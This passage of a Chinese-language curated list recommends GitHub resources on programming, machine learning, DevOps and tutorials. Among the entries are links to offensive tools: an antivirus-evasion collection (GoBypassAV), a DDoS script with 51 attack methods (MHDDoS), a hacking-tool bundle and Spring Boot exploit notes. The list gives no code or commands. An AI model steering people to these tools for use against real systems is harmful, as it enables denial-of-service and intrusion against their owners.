[Obsidian Weread Plugin](https://github.com/zhaohongxuan/obsidian-weread-plugin) | GitHub 上一款开源的 Obsidian 微信读书插件：Obsidian Weread Plugin。可用于同步微信读书中书籍元信息、高亮标注，划线感想、书评等，并将这些信息转换为 markdown 格式保存到 Obsidian 的文件夹中。 | [](https://weibo.com/5722964389/Mbap6DBB3)
[audio-preview](https://github.com/sukumo28/vscode-audio-preview) | 如果你想在 VSCode 中直接播放或预览音频文件，可以安装下 audio-preview 这个扩展。该扩展支持在 VSCode 中查看各类音频文件，如 wav, aac, mp3, ogg, flac 等音频格式的声波图和音谱图。 | [](https://weibo.com/5722964389/Ly7rn41bM)
[Motion DevTools](https://motion.dev/tools) | 一个 Chrome 开发者插件：Motion DevTools，可用于快速构建 Web 动画。支持对 CSS 编写的 Web 动画进行审视、编辑、导出等操作，非常方便。 | [](https://weibo.com/5722964389/Lst3A5YHS)
[AI Doc Writer](https://github.com/mintlify/vscode-docs) | 国外一名小姐姐开源了一款 VSCode 插件，可通过选中代码块，自动为代码生成注释文档。目前支持 JavaScript、TypeScript、Python 等多种语言。 | [](https://weibo.com/5722964389/LbCbSuUYJ)
[omni](https://github.com/alyssaxuu/omni) | 一款功能极其强大的 Chrome 插件，拥有 50 多项特性，为提高生产力而生，让你可以像极客一样来使用 Chrome。功能包括快速切换和搜索页面标签，搜索网页浏览记录，多个快捷键配置，并集成了 Notion、Figma、Docs 等多款工具。 | [](https://weibo.com/5722964389/LaSerfrF4)
### 资料集合
名称 | 简述 | 源
---- | ----- | -----
[《程序员海外工作 / 英文面试手册》](https://github.com/eliaszon/Programmers-Overseas-Job-Interview-Handbook) | 上面收录了作者长期以来收集的直投海外找工作的技巧，包括简历润色、主流招聘网站、公司风评查询、面试准备、英文表达等内容。 | [](https://weibo.com/5722964389/Mm1hyir2i)
[《可用于代码面试的数据结构与算法》](https://github.com/SamirPaul1/DSAlgo) | 里面包含了多种基于 Python3 实现的数据结构与算法，覆盖动态规划、排序算法、二叉树、矩阵、哈希表等。| [](https://weibo.com/5722964389/MlRR2uU6z)
[Awesome ChatGPT Prompts](https://github.com/f/awesome-chatgpt-prompts) | 里面整理了一系列与 ChatGPT 互动的玩法与技巧。你可以通过这些玩法，让 ChatGPT 变成 Linux 终端、文本翻译与修正、技术面试官、故事家、脱口秀演员、写作指导顾问、心理咨询家等等。 | [](https://weibo.com/5722964389/Mj8a6ofH2)
[《DevOps 2022 技术路线图》](https://github.com/milanm/DevOps-Roadmap) | GitHub 上的开源学习资源：《DevOps 2022 技术路线图》，带你快速了解最新的 DevOps 技术栈。里面包含了 Git、常用编程语言、Linux、网络安全、容器、IaC、CI/CD 等各种 DevOps 相关的学习资料。 | [](https://weibo.com/5722964389/MdcuKtXjC)
[《AI 绘画资料合集》](https://github.com/hua1995116/awesome-ai-painting) | 一份开源的技术资源：《AI 绘画资料合集》，作者汇总了国内外可使用的 AI 绘画平台、技术教程、参数教程、部署教程、业界新闻等内容。 | [](https://weibo.com/5722964389/Md8XyyKiG)
[Answer](https://github.com/answerdev/answer) | 一个功能齐全的开源问答系统，可应用于产品技术支持、用户交流、工单管理等各种场景。完整适配了移动端，可通过 Docker 快速部署。 | [](https://weibo.com/5722964389/Md7o8993M)
[《网络安全工具速查表》](https://github.com/CompassSecurity/Hacking_Tools_Cheat_Sheet) | GitHub 上的开源技术资源：《网络安全工具速查表》，主要整理了信息搜集、网络扫描、嗅探、破解、证书配置等功能的命令行操作。 | [](https://weibo.com/5722964389/Md34gxgLY)
[《网络游戏开发技术图谱》](https://github.com/gonglei007/GameDevMind) | GitHub 上开源的学习资源：《网络游戏开发技术图谱》，网络游戏开发知识、技术与信息库，可作为游戏研发技术从业者的导航地图。 | [](https://weibo.com/5722964389/M6qAigASE)
[GoBypassAV](https://github.com/TideSec/GoBypassAV ) | 整理了基于 Go 的 16 种 API 免杀测试、8 种加密测试、反沙盒测试、编译混淆、加壳、资源修改等免杀技术，并搜集汇总了一些资料和工具。 | [](https://weibo.com/5722964389/M0oiYuS7J)
[bigdata_analyse](https://github.com/TurboWay/bigdata_analyse) | 国内一位开发者在 GitHub 开源的数据分析项目库：bigdata_analyse，收集了多个数据分析项目集合。每个项目都会包含一个友好的说明文档，用来阐述和展示整个开发流程。同时也会提供相关的数据集，以供下载练习。 | [](https://weibo.com/5722964389/LD9IOF5uD)
[new-grad-positions](https://github.com/upupming/new-grad-positions) | 2023 届互联网公司校招、实习的最新官方招聘信息整理，帮助在校生消除信息不对称带来的劣势。 | [](https://weibo.com/5722964389/LChvXi8F7)
[《Papers for Software Engineers》](https://github.com/facundoolano/software-papers) | GitHub 上的开源技术资源，里面收录了一系列计算机大佬撰写的软件工程论文。内容覆盖计算机与智能、集成电路、共享数据库、密码学、软件工程本质、Web 搜索引擎解析、分布式存储系统、智能合约与去中心化平台。 | [](https://weibo.com/5722964389/LC6Unlwtz)
[「云计算自学指南」](https://github.com/madebygps/self-taught-guide-to-cloud-computing) | 该指南主要拆分为六大模块，分别对应 Linux 及计算机网络基础、脚本及代码工具、云计算、DevOps 实践、学习资源、附加资源（技术相关话题）等内容。在每个不同时间段，帮你规划不同的学习路线，让你可以更为清晰的掌握云计算基础知识。 | [](https://weibo.com/5722964389/LBXtUCWm8)
[Modern CPP Tricks](https://github.com/rachitiitr/modern-cpp-tricks) | 微软前工程师 Rachit Jain 在 GitHub 上开源的一份 C++ 知识库：Modern CPP Tricks，里面整理了一些 C++ 相关的开发技巧。 | [](https://weibo.com/5722964389/LBWiPgSgy)
[Satellite image deep learning](https://github.com/robmarkcole/satellite-image-deep-learning) | 主要整理了深度学习技术在卫星图像领域中的应用知识。仓库中包含了图像分类与分割、在线分析工具、图像标注、图形可视化、地理信息系统等开源软件，相关技术教程、博客文章等内容。 | [](https://weibo.com/5722964389/LBvcq7liC)
[《一图胜千言》](https://github.com/girliemac/a-picture-is-worth-a-1000-words) | 由微软工程师 Tomomi 手绘并整理发布。该仓库包含了数据结构与算法、Web 开发、机器学习、Git 开发等编程领域的涂鸦作品，其中有部分被应用到了微软的开源教程。 | [](https://weibo.com/5722964389/LyB64suZx)
[《红队知识仓库》](https://github.com/Threekiii/Awesome-Redteam) | 里面收录了一系列网络安全相关的技术文档、开发工具、公开知识库等内容，覆盖漏洞研究、信息收集、内网渗透等领域。 | [](https://weibo.com/5722964389/Ly8CqBp48)
[SVG Spinners](https://github.com/n3r4zzurr0/svg-spinners) | 这个 GitHub 项目收集了 40 多种不同风格的 SVG 加载动画，可用于网站或 App 项目开发。相对于常规的 GIF 格式图像来说，SVG 的可编辑性、可压缩性更强。因此在最近几年，不少网站都开始广泛采用 SVG 来做页面动画。 | [](https://weibo.com/5722964389/LxITe3aSn)
[Cloud-DevOps-Learning-Resources](https://github.com/ahmedtariq01/Cloud-DevOps-Learning-Resources) | 该仓库里面收录了一系列云原生开发学习资料（如 Docker、K8s、Azure），包括技术书籍、速查表、测验题、面试笔记等内容。 | [](https://weibo.com/5722964389/LwKATsm3B)
[Machine Learning Interview](https://github.com/khangich/machine-learning-interview) | GitHub 上开源的机器学习面试题库：Machine Learning Interview，收录了世界各大互联网公司的机器学习面试题。仓库中包括概率与统计、大数据、AB 测试、机器学习与深度学习领域的速查表、面试准备、学习指南、项目用例、面试经验等内容。 | [](https://weibo.com/5722964389/Lwm2Km2tp)
[API Tracker](https://apitracker.io/) | 这个网站整理了非常多的 API 开放接口，包括一些常见的 API 工具、文章、视频等学习教程。覆盖社交媒体、金融、新闻、游戏、人工智能、音视频等领域。 | [](https://weibo.com/5722964389/Luumv8rvc)
[Beautify GitHub Profile](https://github.com/rzashakeri/beautify-github-profile) | 这个 GitHub 仓库收录了多种工具及指南，让你的 GitHub 个人页面看起来更为丰富与美观。 | [](https://weibo.com/5722964389/Ltx33sjk4)
[flutter-tips-and-tricks](https://github.com/vandadnp/flutter-tips-and-trick) | 一份精心收集整理了 Flutter 和 Dart 开发的小技巧资料集合，每个小技巧除了提供代码还贴心的制作图片讲解。 | [](https://weibo.com/5722964389/LsHMQ0Buq)
[cs-self-learning](https://github.com/) | GitHub 上的开源 CS 自学指南，项目包含了诸多国外高质量 CS 课程，覆盖数据结构与算法、计算机系统安全、数据科学、人工智能、机器学习等领域。 | [](https://weibo.com/5722964389/LsGBLwrnR)
[「100 天编码挑战计划](https://github.com/kallaway/100-days-of-code) | 国外一名程序员在 GitHub 上发起了「100 天编码挑战计划」，规定所有参与的开发者，每天至少写 1 小时的代码，并提交到仓库中。 | [](https://weibo.com/5722964389/LsFqHABiq)
[Best-of Machine Learning with Python](https://github.com/ml-tooling/best-of-ml-python) | 里面收录了一些比较实用的机器学习与 Python 开源项目与工具。收录项目共计 900 多个，包括数据可视化、自然语言处理、文本与图像数据、Web 爬虫等分类。 | [](https://weibo.com/5722964389/LqRhEtejl)
[《C++ Concurrency in Action 2ed 笔记》](https://github.com/downdemo/Cpp-Concurrency-in-Action-2ed) | C++11/14/17/20 多线程，掌握操作系统原理，解锁并发编程技术。原书籍前五章介绍了线程支持库的基本用法，后六章从实践角度介绍了并发编程的设计思想。 | [](https://weibo.com/5722964389/LqmE2CXDT)
[《区块链黑暗森林自救手册》](https://github.com/slowmist/Blockchain-dark-forest-selfguard-handbook) | GitHub 上的开源技术教程：《区块链黑暗森林自救手册》，主要介绍了关于区块链安全相关的攻击手段、技术防控知识等内容。 | [](https://weibo.com/5722964389/Lq4Y5m4Pi)
[《机器学习笔记》](https://github.com/dair-ai/ML-Notebooks) | 整理了一系列机器学习任务、应用等代码示例。包括计算机图形、构建一个简单的神经网络、PyTorch 介绍、逻辑回归、文本分类、GNN 介绍等内容。 | [](https://weibo.com/5722964389/LpXTJxxSl)
[《Rust 新手入门指南》](https://github.com/jondot/rust-how-do-i-start) | GitHub 上的开源技术资源：《Rust 新手入门指南》（Rust 🦀. How do I start?），收录了可供 Rust 新手入门学习的教程、实战项目、开源库、开发者工具等内容。 | [](https://weibo.com/5722964389/LpiEzBwJK)
[《程序员延寿指南》](https://github.com/geekan/HowToLiveLonger) | 国内有个开发者撰写了一份《程序员延寿指南》，并开源到了 GitHub，希望通过各种数据与研究分析，进一步探索合理且健康的养生之道。 | [](https://weibo.com/5722964389/Lpap8kkwd)
[Clone Wars](https://github.com/GorvGoyl/Clone-Wars) | 这个 GitHub 项目收录了 100 多个知名网站的克隆项目，包含教程、源码、Demo 演示、技术栈等内容，非常适合开发者研究学习。 | [](https://weibo.com/5722964389/Lo3FbheLO)
[AI-RecommenderSystem](https://github.com/zhongqiangwu960812/AI-RecommenderSystem) | 一个开源资料库沉淀了作者自学推荐系统的学习经验。其中包括经典算法模型和技术，各类工具、数据集的参考学习，并尝试用浅显易懂的语言，把每个模型或者算法解释清楚。 | [](https://weibo.com/5722964389/LnOJJxJzj)
[SpringBootVulExploit](https://github.com/LandGrey/SpringBootVulExploit) | Spring Boot 相关漏洞学习资料，利用方法和技巧合集，黑盒安全评估 check list。 | [](https://weibo.com/5722964389/LmrTf0SNM)
[MHDDoS](https://github.com/MHProDev/MHDDoS) | 一个具有 51 种攻击方法的 Python3 DDoS 开源脚本。 | [](https://weibo.com/5722964389/LmqIb3WK5)
[Hacking C++](https://hackingcpp.com/cpp/cheat_sheets.html) | 一份颇为全面的 C++ 速查表与信息图表。覆盖了算法、随机分布、序列、Lambda 表达式、设计指南等内容。 | [](https://weibo.com/5722964389/Lmpx7t0FO)
[Hacking Tool](https://github.com/Z4nzu/hackingtool) | 作者收录了多款与计算机安全相关的开发者工具，包括网络攻击、DDOS 与 XSS 攻击工具、信息收集、SQL 注入、网络爬虫、哈希破解等。 | [](https://weibo.com/5722964389/LmhjHxoOu)
[Quantitative-analysis](https://github.com/hugo2046/Quantitative-analysis) | GitHub 上关于量化分析的资料参考：Quantitative-analysis，利用 Python 对国内各大券商的金工研报进行复现。 | [](https://weibo.com/5722964389/LlfEkpk3b)
[PeiQi-WIKI-Book](https://github.com/PeiQi0/PeiQi-WIKI-Book) | 一个面向网络安全从业者的知识文库 | [](https://weibo.com/5722964389/LkiJejY3Z)
[Chinese voice corpus](https://github.com/fighting41love/zhvoice) | GitHub 上的开源中文语音语料：Chinese voice corpus，让中文语音更加清晰自然。里面包含了 8 个开源数据集，3200 个说话人，900 小时语音，1300 万字。 | [](https://weibo.com/5722964389/LkbR1ro7B)
[Awesome Portfolio Websites](https://github.com/smaranjitghose/awesome-portfolio-websites) | GitHub 上的一个开源网站：Awesome Portfolio Websites，致力于帮助研究人员、开发者、分析师建立一个可用于展示多维度工作信息的网站。 | [](https://weibo.com/5722964389/LjeJLxVQn)
[《2022 年杭州购房指南》](https://github.com/zkqiang/hangzhou-house-guide) | 一位在杭州工作的程序员，该指南是根据他个人多年购房选房经历，总结而成的一篇买房攻略，涉及新房摇号和二手房选购，包含大量杭州城市规划资料。 | [](https://weibo.com/5722964389/LiVSLCDYb)
[Sec-Interview-4-2023](https://github.com/vvmdx/Sec-Interview-4-2023) | GitHub 上的开源技术资料库：Sec-Interview-4-2023，来自一位 2023 届毕业生收集的各大互联网安全面试题、面试经验。 | [](https://weibo.com/5722964389/LgnYs5V0I)
[《程序员做饭指南》](https://github.com/Anduin2017/HowToCook) | 详细介绍了地三鲜、回锅肉、鱼香肉丝等十几道菜品的具体料理方法。作者也希望通过开源的方式，让更多人参与到一本菜谱的改进与维护中来。 | [](https://weibo.com/5722964389/LgkrguvFT)
[.NET-Backend-Developer-Roadmap](https://github.com/Elfocrash/.NET-Backend-Developer-Roadmap) | 2022 年 .NET 后端开发者路线图，主要面向微服务架构的后端技术人员，完整高清大图可见 GitHub Repo。 | [](https://weibo.com/5722964389/Lg1Agc8l6)
[AI-Expert-Roadmap](https://github.com/AMAI-GmbH/AI-Expert-Roadmap) | 人工智能技术 2022 年学习路线，完整高清大图在 GitHub Repo 可见。 | [](https://weibo.com/5722964389/LeZWU1rDV)
[Time series resources](https://github.com/lmmentel/awesome-time-series) | 时间序列相关的学习资源整理。覆盖多个常用开发者工具、可视化开源库、技术论文、开源教程等内容。 | [](https://weibo.com/5722964389/LeXAOC2td)
[AtHomeWithAI](http://t.cn/A6L1qEWP) | Deepmind 发布的人工智能学习资源，包含线性代数、算法、机器学习、深度学习、自然语言处理等各类视频、PPT、指南、教程。 | [](https://weibo.com/5722964389/LeRHt42rE)
[Leetcode-retag](https://github.com/resumejob/Leetcode-retag) | 重新分类 Leetcode 高频题，按照面试频率降序排列题目，增加难度分类，适合开发者从简单开始学习算法。 | [](https://weibo.com/5722964389/LeMAS52th)
[《命令行速览》](https://github.com/vastutsav/command-line-quick-reference) | 里面总结了 30 多条命令行的基础知识，可帮你快速了解一些常用的命令行用法与开发技巧。 | [](https://weibo.com/5722964389/LcHmpq0qt)
[LeetCode 题解仓库](https://github.com/doocs/leetcode) | GitHub 上一个开源的 LeetCode 题解仓库，里面涵盖了多种编程语言的 LeetCode 代码实现，其中包括排序算法、链表、二叉树、栈和队列、动态规划等算法知识点。 | [](https://weibo.com/5722964389/Lcvbrol44)
[《Arch Linux 简明指南》](https://github.com/NakanoMikuOrg/arch-guide) | 提供了从 Arch Linux 安装、显卡驱动、日常软件配置、多媒体制作、编程等所有内容。 | [](https://weibo.com/5722964389/LaTpuzDZg)
[《文言文（古文）- 现代文平行语料》](https://github.com/NiuTrans/Classical-Modern) | 基本涵盖了大部分经典古籍著作，原始爬取的数据是篇章级对齐，经过脚本分句以及人工校对，形成共计约 96 万句对，source 下为文言文，target 下为现代文，文件内容按行对齐。| [](https://weibo.com/5722964389/LaG3tvogM)
[《深度学习 500 问》](https://github.com/shliang0603/Awesome-DeepLearning-500FAQ) | 国内开发者整理的一份 AI 学习资源，内容以问答形式，对常用的概率知识、线性代数、机器学习、深度学习、计算机视觉等热点问题进行阐述，以帮助有需要的读者。全书分为 18 个章节，50 余万字。 | [](https://weibo.com/5722964389/La5UToCva)
### 书籍/教程
名称 | 简述 | 源
---- | ----- | -----
[《Comprehensive Rust》](https://github.com/google/comprehensive-rust) | Google 开放的一个 Rust 技术教程，教程为期四天，涵盖了 Rust 基本语法到高级主题，如泛型和错误处理、Android 开发等相关内容。通过这一教程，你将全面学习 Rust 基础语法、编写 Rust 应用、掌握 Rust 常用开发技巧等技术。 | [](https://weibo.com/5722964389/MlIqyelZv)
[《标准 C++ 算法指南完整版》](https://github.com/HappyCerberus/book-cpp-algorithms) | GitHub 上的开源技术资源：《标准 C++ 算法指南完整版》，覆盖了该书所有相关的 LaTeX 与代码示例讲解，帮助大家更好的学习与总结。 | [](https://weibo.com/5722964389/Mlg94gQoL)
[《Hello，算法 》](https://github.com/krahets/hello-algo) | 一本自带动画图解、能运行、可提问的数据结构与算法入门书。带你了解刷题所需的数据结构，介绍算法的设计思想、优势劣势、实现方法，并拥有可一键运行的配套代码，让你更好的深入学习算法。 | [](https://weibo.com/5722964389/MjTiAlqr0)
[《矩阵力量》鸢尾花书：从加减乘除到机器学习](https://github.com/Visualize-ML/Book4_Power-of-Matrix) | 主要面向开发者，讲解数学的基础知识。按内容划分为基础、坐标系、函数、解析几何、微积分、概率统计、线性代数等 7 大板块。 | [](https://weibo.com/5722964389/MhUK8xWzx)
[《像黑客一样使用命令行》](https://github.com/xuxiaodong/usingcli-book) | 该书将从实际的例子出发，教你从无到有，一步一步学习命令行的使用。除了文字版本之外，亦有配套视频。 | [](https://weibo.com/5722964389/MgotbfdaD)
[《Stable Diffusion Book》](https://github.com/sudoskys/StableDiffusionBook) | GitHub 上的开源技术教程：《Stable Diffusion Book》，关于 AI 绘画的全面中文 Wiki、入门教程、开源文档。覆盖 AI 绘画相关的术语解释、安装配置、配置与调试、模型训练等相关内容。 | [](https://weibo.com/5722964389/McZx4g2Ji)
[《机器学习系统：设计和实现》](https://github.com/openmlsys/openmlsys-zh) | GitHub 上的开源技术书籍：《机器学习系统：设计和实现》，主要讲解现代机器学习系统的设计原理和实现经验。该书覆盖编程接口、计算图基本构成、编译器前后端、模型部署、深度学习推荐系统、机器人系统等内容。 | [](https://weibo.com/5722964389/Mb8PGvAyK)
[《基于物理的渲染：从理论到实现》](https://github.com/kanition/pbrtbook) | GitHub 上的开源教程：《基于物理的渲染：从理论到实现》中文翻译版。主要讲解几何与变换、成像过程、光的散射、光传输算法等计算机图形学内容。 | [](https://weibo.com/5722964389/Mb2Wovblc)
[《数据科学路线图》](https://github.com/Moataz-Elmesmary/Data-Science-Roadmap) | GitHub 上的开源学习资料：《数据科学路线图》，作者整理了一些开放性学习教程，并按照初中高级制定了不同学习路线。里面主要包含统计与概率、Python 基础及工具应用、数据清理与可视化、机器学习与爬虫、深度学习与模型等内容。 | [](https://weibo.com/5722964389/Mb0YC6Ahe)
[《Enhance Your English Writing》](https://github.com/yzy1996/English-Writing ) | GitHub 上开源的学习资料：《Enhance Your English Writing》，作者是香港城市大学的一名博士生。主要收录他在阅读论文的过程中，发现的一些好的英语用法。 | [](https://weibo.com/5722964389/Ma8noyjnF)
[《Solidity 极简入门》](https://github.com/AmazingAng/WTF-Solidity) | 每周更新 1-3 讲，主要讲解 Web3 基础开发技巧、合约安全、数字签名、时间锁，常见开发工具使用等内容。 | [](https://weibo.com/5722964389/Ma4QdwllJ)
[《手撸解释器》](https://github.com/GuoYaxiang/craftinginterpreters_zh) | 在本书中，作者将悉心拆解解释器相关的概念，在每一章节中逐步进行讲解和实现，并且保证每个章节结束之后都有一个可以运行的解释器版本。该书由一门小型的自创语言 Lox 开始，分别使用 Java 和 C 实现了两种类型的解释器，jlox 和 clox。内容上不会有太过深入的理论，对于普通编程爱好者也可以很容易地上手学习。 | [](https://weibo.com/5722964389/M9uHEx8Tl)
[《Data Science: Theories, Models, Algorithms, and Analytics》](https://srdas.github.io/Papers/DSA_Book.pdf) | 主要讲解数据科学的基本知识，并覆盖相关常用算法、模型、R 语言、数据分析、金融应用、神经网络等内容。 | [](https://weibo.com/5722964389/M7Fnv1EVp)
[《NLP 新手入门指南》](https://github.com/PKU-TANGENT/nlp-tutorial) | GitHub 上开源的学习资源：《NLP 新手入门指南》，项目作者为北京大学 TANGENT 实验室成员。该指南主要提供了 NLP 学习入门引导、常见任务的开发实现、各大技术教程与文献的相关推荐等内容。 | [](https://weibo.com/5722964389/M6tkMkriP)
[《Kubernetes 中文教程》](https://github.com/guangzhengli/k8s-tutorials) | GitHub 上的开源技术教程：《Kubernetes 中文教程》，内容偏向于实战进阶。通过带你渐进式修改代码，从最基础的 container 容器的定义开始，经过 pod, deployment, servcie 等资源来打包部署一套完整服务。 | [](https://weibo.com/5722964389/M4Msfkw2E)
[现代统计学概论》](https://github.com/openintrostat/ims) | 一本开放性技术书籍：《现代统计学概论》（Introduction to Modern Statistics），主要讲解数据分析理念与应用、回归建模、统计推断、推理建模等相关知识。 | [](https://weibo.com/5722964389/M2nYrA2He)
[《用 Rust 编写一个 JavaScript 编译器》](https://github.com/Boshen/javascript-compiler-in-rust) | JavaScript、Rust 和编译器都很难学，因此作者想将这三者结合起来，挑战自己，用 Rust 编写一个 JavaScript 编译器。 | [](https://weibo.com/5722964389/M1uAwaDtr)
[《Rust 性能优化手册》](https://github.com/nnethercote/perf-book) | 该书面向于 Rust 中级和高级开发者用户，结合理论与实践，讲解多种可以提高 Rust 程序性能的技术和技巧（速度和内存使用）。 | [](https://weibo.com/5722964389/M1la120wV)
[《线性代数的艺术》](https://github.com/kenjihiranabe/The-Art-of-Linear-Algebra) | GitHub 上的开源技术教程：《线性代数的艺术》，主要针对 MIT 教授 Gilbert Strang 的《Linear Algebra for Everyone》教程提供了图形注释，让知识更易于吸收理解。 | [](https://weibo.com/5722964389/M16CUBr8Q)
[《系统设计》](https://github.com/codersguild/System-Design) | GitHub 上开源的技术学习资源：《系统设计》，里面主要整理了系统设计相关的基础知识、面试技巧、开发指南、最佳实践，以及各个互联网大厂的踩坑经验总结等内容。 | [](https://weibo.com/5722964389/M05nUrVPg)
[《带你入门前端工程》](https://github.com/woai3c/introduction-to-front-end-engineering) | 分享一本开源的前端技术书籍：《带你入门前端工程》，主要记录作者在近两年来，在前端工程师实践经验和学习心得方面的总结。 书中大部分内容以理论知识 + 代码示例 + 图片进行讲解，部分章节会提供实践教程。 | [](https://weibo.com/5722964389/LFgyIa9dz)
[《数据科学工具学习指南》](https://github.com/shervinea/mit-15-003-data-science-tools) | 麻省理工大学教授在 GitHub 开源的：《数据科学工具学习指南》。主要讲解如何使用 SQL 检索数据，R 语言操作数据，Python 数据可视化，Git 代码版本控制，以及常见的 Bash 脚本使用技巧等内容。 | [](https://weibo.com/5722964389/LEcxdvgtN)
[《语音增强初探》](https://github.com/WenzheLiu-Speech/The-guidebook-of-speech-enhancement) | GitHub 上的开源技术教程：《语音增强初探》，主要讲解语音增强技术相关的技术解析，以及模型应用。 | [](https://weibo.com/5722964389/LE5sQFN7t)
[《操作系统导论》中文版](https://github.com/remzi-arpacidusseau/ostep-translations) | 该书共有 50 个章节，内容深入浅出，围绕操作系统的虚拟化、并发、持久性展开讲解，涉及进程与进程、锁、CPU 调度、文件系统实现、分布式系统等知识点。 | [](https://weibo.com/5722964389/LE1xicqHI)
[《Some Assembly Required》](https://github.com/hackclub/some-assembly-required) | GitHub 上一本开源的汇编入门指南：《Some Assembly Required》，主要包括 CPU 工作原理、指令映射、汇编语言与寄存器入门知识介绍等内容。每个章节都比较简短，且配有作者绘制的原理图与代码示例。让技术更易于理解，加深学习印象。 | [](https://weibo.com/5722964389/LDlvqFy2g)
[《Effective Debugging》中文翻译版](https://github.com/Celthi/effective-debugging-zh) | GitHub 上的开源技术教程：《Effective Debugging》中文翻译版，主要讲述如何更有效率地调试大型程序（以 C/C++ 为例）的方法和技能。书中例子不仅丰富，而且都是从实际的工作经验提取，观点和方法有效且具有可行性。 | [](https://weibo.com/5722964389/LDhYfguVU)
[《BasicSR 中文解读文档》](https://github.com/XPixelGroup/BasicSR-docs) | BasicSR 是一个基于 PyTorch 的开源图像视频复原工具箱，提供了诸如超分辨率、去噪、去模糊、去 JPEG 压缩噪声等功能。该文档提供了关于图像、视频超分复原增强等相关技术知识的解读，以及开源库的使用。 | [](https://weibo.com/5722964389/LCPGL2v8u)
[《动手构建一个简单数据库》](https://github.com/cstack/db_tutorial) | 作者将基于 C 语言，手把手构建一个类 SQLite 数据库，让你进一步了解数据库的工作原 | [](https://weibo.com/5722964389/LBu1lhaYT)
[《Rust 语言实战》](https://github.com/sunface/rust-by-practice) | 该书将通过有挑战性的示例、练习题、实践项目来提升 Rust 水平，建立从入门学习到上手实战的直通桥梁。书中通过大量的实战练习，帮助大家更好的学习和上手使用 Rust 语言。书中的练习题非常易于使用：你所需的就是在线完成练习，并让它通过编译。 | [](https://weibo.com/5722964389/LBrFem2gX)
[《概率数值》](https://www.probabilistic-numerics.org/assets/ProbabilisticNumerics.pdf?continueFlag=1bafdcd5c034def869fecb4f3bdaed70) | 一本免费开放的技术书籍：《概率数值》（Probabilistic Numerics），共 400 多页，由 3 位来自各大高校与行业专家作者，历经 7 年写成。该书主要讲解数学基础、线性代数、积分、概率数值、机器学习模型优化、常微方程解法等内容。 | [](https://weibo.com/5722964389/LB9Zj88Qd)
[《动手学习数据可视化》](https://github.com/handsondataviz/book) | GitHub 上的开源技术教程：《动手学习数据可视化》，主要讲解 Excel 数据处理的常用技巧。数据清理、搜索、可视化，数据图表绘制，第三方开源库的开发指南等内容。 | [](https://weibo.com/5722964389/LB45Yt7Mj)
[《Python 项目实战》](https://github.com/learnbyexample/practice_python_projects) | 作者将通过 5 个 Python 实战项目，带你一步步了解 Python 的实际应用。其中包含用 Python 计算器优化命令行工具体验、抓取并分析 Reddit 评论数据、扫描 Markdown 和纯文本拼写错误、构建多选择题 GUI 界面、借助 AI 打造一款小游戏。 | [](https://weibo.com/5722964389/LATupt21d)
[《2022 年开源操作系统训练营》](https://github.com/LearningOS/rust-based-os-comp2022) | 教程共分为八章，主要展示如何从零开始，用 Rust 语言写一个基于 RISC-V 架构的 类 Unix 内核 。 | [](https://weibo.com/5722964389/LAK3UD6yJ)
[《谷歌的软件工程》](https://github.com/qiangmzsx/Software-Engineering-at-Google) | GitHub 上的开源技术资源：《谷歌的软件工程》中文版（Software Engineering at Google），共 25 章，主要讲解 Google 技术团队在「软件工程」领域的实践。该指南覆盖了团队管理、效率测量、代码风格规范、项目测试、版本控制、静态分析、依赖管理、持续交付与集成等内容。 | [](https://weibo.com/5722964389/LzPuW8TUC)
[《图解 React 源码系列》](https://github.com/7kms/react-illustration-series) | 作者将尝试通过大量配图，把 react 原理表述清楚。教程主要包含 React 基础概念、运行核心、数据管理、交互、高频算法等内容。 | [](https://weibo.com/5722964389/Lyif5kWmX)
[《英语论文写作指南》](https://github.com/OpenMindClub/awesome-scholarly-productivity) | 由阳志平团队整理发布。里面包含科技论文制图、数学公式排版、文献分析工具介绍、论文发表技巧、写作工具等内容。 | [](https://weibo.com/5722964389/LxY0T5643)
[《Web3 科学家极简入门指南》](https://github.com/gm365/Web3_Tutorial) | 通过学习并使用 Web3.py 模块，实现链上数据查询、转账、合约交互等简单功能。 | [](https://weibo.com/5722964389/LxN0XdUfZ)
[《IPv6 简明指南》](https://github.com/tmplink/ipv6) | GitHub 上的开源学习资源：《IPv6 简明指南》，主要讲解 IPv6 的基础知识，让你进一步理解 IPv6 地址的常见概念，如前缀、子网、接口等。作者还会通过图文说明，带你了解家用场景下的 IPv6 实战。 | [](https://weibo.com/5722964389/Lwvtf9MlN)
[《C++ Primer 中文版（第 5 版）》](https://github.com/applenob/Cpp_Primer_Practice) | GitHub 上的开源学习资料：《C++ Primer 中文版（第 5 版）》学习仓库，整理了关于此书的笔记和课后练习答案。 | [](https://weibo.com/5722964389/Lwu62CRVR)
[《基于 JavaScript 的区块链、Solidity、Web3 全栈开发教程》](https://github.com/smartcontractkit/full-blockchain-solidity-course-js) | 通过这个教程，你将学到关于区块链、Web 开发、智能合约、密码学、NFT 等各类技术栈原理与应用。 | [](https://weibo.com/5722964389/LvAI6fRsp)
[《从零开始的 Kubernetes 攻防》](https://github.com/neargle/my-re0-k8s-security) | GitHub 上的开源技术资源：《从零开始的 Kubernetes 攻防》，主要讲解云原生技术的一些攻防技巧。 | [](https://weibo.com/5722964389/LuwICnn70)
[《从零开始制作一个操作系统》](https://github.com/yanull/os-guide-cn) | GitHub 上的开源技术教程：《从零开始制作一个操作系统》，教程比较简短，内容讲解不太详细，适合有一定技术基础的人学习。 | [](https://weibo.com/5722964389/LtKp6fK6B)
[MLOps Zoomcamp](https://github.com/DataTalksClub/mlops-zoomcamp) | 一份 MLOps 教程，主要讲解 MLOps 基础知识、MLflow 入门、模型部署、模型监控、开发运维、CI/CD、机器学习画布等知识。 | [](https://weibo.com/5722964389/LtzNy6HgN)
[《现代 JavaScript 教程》](https://zh.javascript.info/) | GitHub 上一本开源的 JavaScript 教程，作者将以最新的 JavaScript 标准为基准。通过简单但足够详细的内容，为你讲解从基础到高阶的 JavaScript 相关知识。教程划分为 3 部分，涵盖了 JavaScript 编程语言相关知识和浏览器行为。此外还有正则表达式、动画效果等一系列专题文章。 | [](javascript-tutorial/en.javascript.info)
[SQLBolt](https://sqlbolt.com/) | 一个 SQL 技术教程：SQLBolt，作者提供了一系列交互式 SQL 教程，共 20 个章节，以及课后作业，帮你快速掌握与运用 SQL 开发。 | [](https://weibo.com/5722964389/LsyaacOUC)
